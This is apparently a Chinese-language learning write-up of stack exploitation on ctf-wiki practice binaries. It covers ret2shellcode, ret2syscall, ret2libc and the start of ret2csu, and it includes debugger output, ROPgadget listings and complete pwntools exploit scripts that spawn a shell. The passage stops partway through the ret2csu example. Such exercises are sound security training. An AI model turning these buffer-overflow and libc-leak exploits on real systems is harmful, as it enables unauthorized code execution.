Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

Breakpoint 1, main () at ret2shellcode.c:8
8       setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
      6  int main(void)
      7  {
8      setvbuf(stdout, 0LL, 2, 0LL);
      9      setvbuf(stdin, 0LL, 1, 0LL);
     10  
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap 
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx 
0xf7fd3000 0xf7fd5000 0x00000000 rwx 
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx 
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

查看vmmap发现bss段有可执行权限

1
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode

1
2
3
4
5
6
7
8
9
#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

这里如果0x64+4这样算的话只有104,而这里是112,可能是动调的时候有padding吧

另一个例子通过mprotect()动态修改过内存页权限的 ret2shellcode 为例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]
$ checksec ret2shellcode
[*] '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

依旧没保护,并且有可读,可写,可执行段

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char src[104]; // [rsp+0h] [rbp-70h] BYREF
  void *addr; // [rsp+68h] [rbp-8h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  addr = (void *)((unsigned __int64)buf2 & -getpagesize());
  v3 = getpagesize();
  if ( mprotect(addr, v3, 7) >= 0 )
  {
    puts("No system for you this time !!!");
    printf("buf2 address: %p\n", buf2);
    gets(src);
    strncpy(buf2, src, 0x64u);
    printf("bye bye ~");
    return 0;
  }
  else
  {
    perror("mprotect failed");
    return 1;
  }
}

跟上面一个思路,查看buf2还是在bss段

1
2
.bss:00000000004040A0 buf2            db 68h dup(?)           ; DATA XREF: main+51↑o
.bss:00000000004040A0                                         ; main+A4↑o ...

查看bss段是否可执行,断点下在被mprotect调用后的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
pwndbg> b *0x401291
Breakpoint 1 at 0x401291
pwndbg> r
Starting program: /home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000000000401291 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────
 RAX  0
 RBX  0
 RCX  0x7ffff7d1eb1b (mprotect+11) ◂— cmp rax, -0xfff
 RDX  7
 RDI  0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403e20 (_DYNAMIC) ◂— 1
 RSI  0x1000
 R8   0x7ffff7e1bf10 (initial+16) ◂— 4
 R9   0x7ffff7fc9040 (_dl_fini) ◂— endbr64
 R10  0x7ffff7c082e0 ◂— 0xf0022000056ec
 R11  0x202
 R12  0x7fffffffde58 —▸ 0x7fffffffe0fd ◂— '/home/zer0ptr/Pwn-Research/ROP/ret2shellcode/wiki/ret2shellcode'
 R13  0x401216 (main) ◂— endbr64
 R14  0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x4011e0 (__do_global_dtors_aux) ◂— endbr64
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
 RBP  0x7fffffffdd40 ◂— 1
 RSP  0x7fffffffdcd0 ◂— 1
 RIP  0x401291 (main+123) ◂— test eax, eax
─────────────────────────────────────[ DISASM / x86-64 / set emulate on ]─────────────────────────────────────
 ► 0x401291 <main+123>    test   eax, eax     0 & 0     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
   0x401293 <main+125>  ✔ jns    main+149                    <main+149>
   0x4012ab <main+149>    lea    rax, [rip + 0xd66]     RAX => 0x402018 ◂— 'No system for you this time !!!'
   0x4012b2 <main+156>    mov    rdi, rax               RDI => 0x402018 ◂— 'No system for you this time !!!'
   0x4012b5 <main+159>    call   puts@plt                    <puts@plt>

   0x4012ba <main+164>    lea    rax, [rip + 0x2ddf]     RAX => 0x4040a0 (buf2)
   0x4012c1 <main+171>    mov    rsi, rax                RSI => 0x4040a0 (buf2)
   0x4012c4 <main+174>    lea    rax, [rip + 0xd6d]      RAX => 0x402038 ◂— 'buf2 address: %p\n'
   0x4012cb <main+181>    mov    rdi, rax                RDI => 0x402038 ◂— 'buf2 address: %p\n'
   0x4012ce <main+184>    mov    eax, 0                  EAX => 0
   0x4012d3 <main+189>    call   printf@plt                  <printf@plt>
──────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdcd0 ◂— 1
01:0008│-068 0x7fffffffdcd8 ◂— 1
02:0010│-060 0x7fffffffdce0 —▸ 0x400040 ◂— 0x400000006
03:0018│-058 0x7fffffffdce8 —▸ 0x7ffff7fe283c (_dl_sysdep_start+1020) ◂— mov rax, qword ptr [rsp + 0x58]
04:0020│-050 0x7fffffffdcf0 ◂— 0x6f0
05:0028│-048 0x7fffffffdcf8 —▸ 0x7fffffffe0d9 ◂— 0xb0ec6c6b3dbd55d3
06:0030│-040 0x7fffffffdd00 —▸ 0x7ffff7fc1000 ◂— jg 0x7ffff7fc1047
07:0038│-038 0x7fffffffdd08 ◂— 0x10101000000
────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
0         0x401291 main+123
   1   0x7ffff7c29d90 __libc_start_call_main+128
   2   0x7ffff7c29e40 __libc_start_main+128
   3         0x401155 _start+37
──────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 ret2shellcode
          0x401000           0x402000 r-xp     1000    1000 ret2shellcode
          0x402000           0x403000 r--p     1000    2000 ret2shellcode
          0x403000           0x404000 r--p     1000    2000 ret2shellcode
          0x404000           0x405000 rwxp     1000    3000 ret2shellcode
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dbd000     0x7ffff7e15000 r--p    58000  1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e15000     0x7ffff7e16000 ---p     1000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e16000     0x7ffff7e1a000 r--p     4000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1a000     0x7ffff7e1c000 rw-p     2000  219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1c000     0x7ffff7e29000 rw-p     d000       0 [anon_7ffff7e1c]
    0x7ffff7fad000     0x7ffff7fb0000 rw-p     3000       0 [anon_7ffff7fad]
    0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000       0 [anon_7ffff7fbb]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000       0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000    2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rwxp    21000       0 [stack]

还是通过vmmap看到可执行的bss段

1
0x404000           0x405000 rwxp     1000    3000 ret2shellcode

最终exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/usr/bin/env python3
from pwn import *
context.binary = './ret2shellcode'
context.log_level = 'debug'
io = process('./ret2shellcode')

buf2_addr = 0x4040a0
shellcode = asm(shellcraft.sh())

payload = shellcode.ljust(100, b'\x90')  
payload = payload.ljust(120, b'a')       
payload += p64(buf2_addr)                

io.sendline(payload)
io.interactive()

这里解释一下100和120怎么来的,首先是这个100,strncpy(buf2, src, 0x64u);这里copy100个字节到buf2,我们需要先注入shellcode到buf2进行执行,这里data.ljust方法是不足前面的数字,用后面的字符进行补齐,注入完100个字节后,我们考虑填满栈空间和rbp到返回地址,char src[104]; // [rsp+0h] [rbp-70h] BYREF这里定义了src数组到rbp的距离是0x70也就是112,64位的rbp是8字节,所以加起来是120字节

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell

依旧例题起手

1
2
3
4
5
6
➜  ret2syscall checksec rop
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位NX保护,不能执行shellcode了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

可以看出此次仍然是一个栈溢出。类似于之前的做法,我们可以获得 v4 相对于 ebp 的偏移为 108。所以我们需要覆盖的返回地址相对于 v4 的偏移为 112。此次,由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,而对应的 shell 获取则是利用系统调用。

根据wiki上的描述,Linux 在x86上的系统调用通过 int 80h 实现,简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell:

1
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。

首先,我们来寻找控制 eax 的 gadgets

1
2
3
4
5
6
➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,这里我们选择第二个

类似的,我们可以得到控制其它寄存器的 gadgets

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  ret2syscall ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里选择

1
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器

此外,我们需要获得 /bin/sh 字符串对应的地址

1
2
3
4
➜  ret2syscall ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

还有 int 0x80 的地址

1
2
3
4
5
6
7
8
9
➜  ret2syscall ROPgadget --binary rop  --only 'int'                 
Gadgets information
============================================================
0x08049421 : int 0x80
0x080938fe : int 0xbb
0x080869b5 : int 0xf6
0x0807b4d4 : int 0xfc

Unique gadgets found: 4

综合这几个就能写出exp了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#!/usr/bin/env python
from pwn import *

sh = process('./rop')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

听说用的不多

ret2libc

ret2libc 则是用 dynamic link libraries 中的 gadget(虽然这个利用方法叫做 ret2libc,但是所有连接进来的动态链接库都可以作为 gadget 的来源)

ret2libcret2text 类似,但是由于动态链接库的特性所致,在利用时多出了一步,便是泄漏动态链接库的基地址。关于泄漏基地址,这里就要引入两个关于链接库装载的表,got 表和 plt 表。

因为动态链接库的加载时的基地址是随机的,所以当程序调用动态链接库中的函数的时候,实际是转跳到预留在程序中的函数入口,即 plt。而执行到 plt 中后,会先检查对应的函数是否已经加载,如果已经加载,则根据 got 表中记录的地址转跳实际的函数地址。否则先调用加载函数(加载后的函数的地址记录在 got 表中),再转跳到对应的函数。

由此,我们可以知道加载之后的函数地址储存在 got 表中,那么我们就可以想办法将 got 表中的内容输出出来,然后减去偏移,从而实现泄漏动态链接库的基地址(这里计算基地址的原理是动态链接库的加载也是通过映射文件实现的,一个链接库映射到一段连续的内存空间)。拿到基地址之后我们就可以加上偏移获得所需函数或者 gadget。

例子:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
// gcc test.c -no-pie -fno-stack-protector -g
#include <stdio.h>

int main() {
    char str[0x20];
    puts("Hello, world!");

    read(0, str, 0x100);

    return 0;
}

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#!/usr/bin/python3
# -*- encoding: utf-8 -*-

from pwn import *

# context.log_level = "debug"
# context.terminal = ["konsole", "-e"]
context.arch = "amd64"

p = process("./a.out")

elf = ELF("./a.out")
libc = ELF("./libc-2.31.so")

pop_rdi = 0x00000000004011F3 # gadget: pop rdi; ret
ret = 0x000000000040101A # gadget: ret (用于栈对齐)

puts_plt = elf.plt["puts"] # puts函数的调用入口
puts_got = elf.got["puts"] # 存放puts函数真实地址的表格

main_addr = elf.sym["main"] # main函数的起始地址

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

p.send(payload)

puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) # 接收打印出来的真实地址
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"] # 真实地址-库中的偏移地址=库的起始基地址
log.success("libc_base: " + hex(libc_base))

system_addr = libc_base + libc.sym["system"] # system函数的真实地址
binsh_addr = libc_base + next(libc.search(b"/bin/sh")) # binsh的真实地址

payload = b"a" * 0x28
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(ret)
payload += p64(system_addr)

gdb.attach(p)
p.send(payload)

p.interactive()

这个脚本做了两步,第一步是泄露libc在内存中真实的基地址,第二部就是计算system和binsh的真实地址执行system("/bin/sh"),第一步pop_rdi->puts_got->puts_plt->main_addr就是在main函数返回时调用puts输出我们got表中puts在libc中真实的地址,虽然 ASLR 会随机化基址,但 libc 内部各函数之间的偏移是固定的,我们只要把真实地址减去偏移地址就能得到基地址,然后加上获取到的偏移地址就能计算出所有库中函数的真实地址

其中u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))中的recvuntil是读到\x7f这个字节才停止,因为在64位linux中,libc地址通常是0x00007f开头的,由于机器是小端序,所以在内存中最后读到的会是\x7f,也就是libc的高位,[-6:]只取6字节,是因为虽然我们称之为 64 位地址,但在目前的 Linux x86_64 架构下,虚拟地址实际上只使用了 48 位,48位就是6字节,后面的填充,由于是小端序,不影响数值,这里要填充为8字节是因为pwntools中的u64函数要求接收的字节序列必须是8字节长,它会把这8字节长度转换成python中的整数

下面还是以ctfwiki例题来学习

ret2libc1

1
2
3
4
5
6
➜  ret2libc1 checksec ret2libc1    
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位NX保护

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets((char *)&v4);
  return 0;
}

还是gets函数存在栈溢出,利用ropgadget我们可以找到binsh的地址

1
2
3
4
➜  ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'          
Strings information
============================================================
0x08048720 : /bin/sh

接着找system地址

1
.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

都有就可以直接getshell了,但是通常反编译是查找不到这两个的地址的,上面我们泄露libc基地址后面也是用libc库里面函数的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 'bbbb' 作为虚假的返回地址,其后参数对应的参数内容。这里是因为system函数栈中参数是高位,先调用参数binsh就不需要管返回地址了,bbbb做为虚假的返回地址

ret2libc2

该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。

exp如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    [b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

这里先是调用gets接收传入的参数binsh,然后pop ebx,跳转到system,接着system的参数就是赋值后的buf2,最终getshell

ret2libc3

在例2的基础上把system地址也去掉了,现在我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets((char *)&v4);
  return 0;
}

依旧gets栈溢出,这里还有函数puts可以利用,这里还是利用system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的这一点来做,即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集:GitHub - niklasb/libc-database: Build a database of libc offsets to simplify exploitation,所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具:GitHub - lieanu/LibcSearcher: glibc offset search for ctf.

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
from pwn import *

pc = './ret2libc3'
aslr = True
context.log_level = 'debug'  
context.arch = 'i386' 

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
ret2libc3 = ELF('./ret2libc3')

p = process(pc, aslr=aslr)

if __name__ == '__main__':
    puts_plt = ret2libc3.plt['puts']
    libc_start_main_got = ret2libc3.got['__libc_start_main']
    start_addr = ret2libc3.symbols['_start']

    # log.info(f'start_addr --> 0x{start_addr:x}')

    payload = b'a' * 112
    payload += p32(puts_plt)
    payload += p32(start_addr)
    payload += p32(libc_start_main_got)

    p.sendline(payload)
    p.recvuntil(b'Can you find it !?')

    libc_start_main_addr = u32(p.recv(4))
    libc_base_addr = libc_start_main_addr - libc.symbols['__libc_start_main']
    system_addr = libc_base_addr + libc.symbols['system']

    binsh_offset = next(libc.search(b'/bin/sh\x00'))
    binsh_addr = libc_base_addr + binsh_offset

    payload2 = b'a' * 112
    payload2 += p32(system_addr)
    payload2 += p32(0xdeadbeef)  
    payload2 += p32(binsh_addr)  
    p.sendline(payload2)
    p.interactive()

这里32位跟前面64位有点不一样,这里我们选择泄露__libc_start_main来计算基地址,跟前面system函数的利用过程类似,这里puts输出完got表中__libc_start_main的地址,会start重新开始程序,接着后面就很好理解了,根据基地址得到system和binsh,最后getshell

中级ROP

ret2csu

原理

在64位程序中,函数前6个参数都存在寄存器中,有时候我们查找不到每一个寄存器对应的gadget,我们可以利用 x64 下的__libc_csu_init中的 gadgets,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。

反编译这个函数,一般长这样

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp
  • 从最后这里0x40061A直到结束,我们可以利用栈溢出来控制rbx,rbp,r12-r15寄存器的值
  • 从0x400600到0x400609,我们可以将r13的值赋给rdx,r14的值赋给rsi,r15d的值赋给edi,(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0),所以其实我们可以控制 rdi 寄存器的值,这三个寄存器就是64位函数参数控制的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。
  • 从0x40060D到0x400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

**例题 hitcon level5 **

checksec

1
2
3
4
5
6
➜  ret2__libc_csu_init git:(iromise) ✗ checksec level5    
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabledd
    PIE:      No PIE (0x400000)

程序为 64 位,开启了堆栈不可执行保护,反编译查看,是简单的栈溢出

1
2
3
4
5
6
ssize_t vulnerable_function()
{
  char buf; // [sp+0h] [bp-80h]@1

  return read(0, &buf, 0x200uLL);
}

简单浏览下程序,发现程序中既没有 system 函数地址,也没有 /bin/sh 字符串,所以两者都需要我们自己去构造了,也就是泄露libc基地址构造那一套

基本利用思路如下

  • 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址,并使得程序重新执行 main 函数
